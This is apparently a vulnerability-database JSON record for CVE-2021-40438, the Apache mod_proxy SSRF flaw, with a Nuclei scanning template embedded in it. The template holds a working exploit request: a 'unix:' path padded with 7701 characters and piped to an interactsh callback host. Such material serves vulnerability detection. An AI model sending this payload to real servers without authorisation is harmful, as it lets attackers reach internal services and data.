{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-40438/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-40438/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-40438/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-40438/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-40438/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-40438"},"sightings":{"href":"/api/v1/sightings/cve-2021-40438"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99999,"kev":true,"percentile":0.99997},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-40438.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-40438\n\ninfo:\n  name: Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery\n  author: pdteam\n  severity: critical\n  description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.\n  impact: |\n    Attackers can perform SSRF attacks via mod_proxy to access internal resources and forward requests to arbitrary origin servers, potentially exposing internal services and data.\n  remediation: Upgrade to Apache version 2.4.49 or later.\n  reference:\n    - https://firzen.de/building-a-poc-for-cve-2021-40438\n    - https://httpd.apache.org/security/vulnerabilities_24.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-40438\n    - https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf\n    - https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9\n    cve-id: CVE-2021-40438\n    cwe-id: CWE-918\n    epss-score: 0.99999\n    epss-percentile: 0.99997\n    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: apache\n    product: http_server\n    shodan-query:\n      - cpe:\"cpe:2.3:a:apache:http_server\"\n      - apache 2.4.49\n  tags: cve2021,cve,ssrf,apache,mod-proxy,kev,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/?unix:{{repeat(\"A\", 7701)}}|http://{{interactsh-url}}/'\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header, \"X-Interactsh-Version\")'\n          - \"!contains(body, '<h1> Interactsh Server </h1>')\"\n        condition: and\n# digest: 490a00463044022046eb82160db872acce6c5bcfee56bf4de306c46b1de7cf14baa92b62c70fb3ad02205c06936acf4132f14eefb513ccb25f5b87048b60cfa11d8b761592d5741c37e5:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-40438"}